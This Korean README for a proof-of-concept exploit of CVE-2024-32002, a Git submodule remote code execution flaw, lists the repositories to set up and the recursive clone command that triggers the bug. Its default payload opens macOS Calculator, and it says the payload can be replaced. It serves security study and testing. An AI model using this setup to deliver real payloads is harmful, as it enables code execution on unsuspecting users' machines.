
POC
이 리포지토리는 Git 서브모듈의 원격 코드 실행(RCE) 취약점인 CVE-2024-32002에 대한 개념 증명(PoC)을 포함합니다. 이 익스플로잇은 악성 페이로드가 Git 리포지토리의 재귀적 클론을 통해 트리거되는 방법을 보여줍니다.
PoC를 실행하기 전에 원격 Git 서버에 다음 리포지토리를 생성하거나 필요에 따라 이름을 자유롭게 변경하세요:
hulk.gitsubmod.gitsmash.git이름을 변경하는 경우 PoC 스크립트의 리포지토리 경로를 그에 맞게 업데이트하세요.
이 익스플로잇은 Git 서브모듈을 활용하여 리포지토리가 재귀적으로 클론될 때 대상 시스템에서 페이로드를 실행합니다. 이 PoC는 macOS에서 테스트되었습니다.
HULK_REPO="[email protected]:safebuffer/hulk.git"
pullme_REPO="[email protected]:safebuffer/submod.git"
# Final Exploit Repo
SMASH_REPO="[email protected]:safebuffer/smash.git"
익스플로잇을 트리거하려면 poc.sh 스크립트를 실행한 후 다음 명령을 실행하세요:
git clone --recursive $SMASH_REPO
이 PoC의 기본 페이로드는 macOS에서 계산기 애플리케이션을 엽니다. 원하는 페이로드로 변경할 수 있습니다.
/System/Applications/Calculator.app/Contents/MacOS/Calculator
이 PoC는 교육 목적으로만 제공됩니다. 테스트할 명시적 권한이 있는 시스템에서만 책임감 있게 사용하세요. 이 PoC의 오용은 심각한 결과를 초래할 수 있습니다.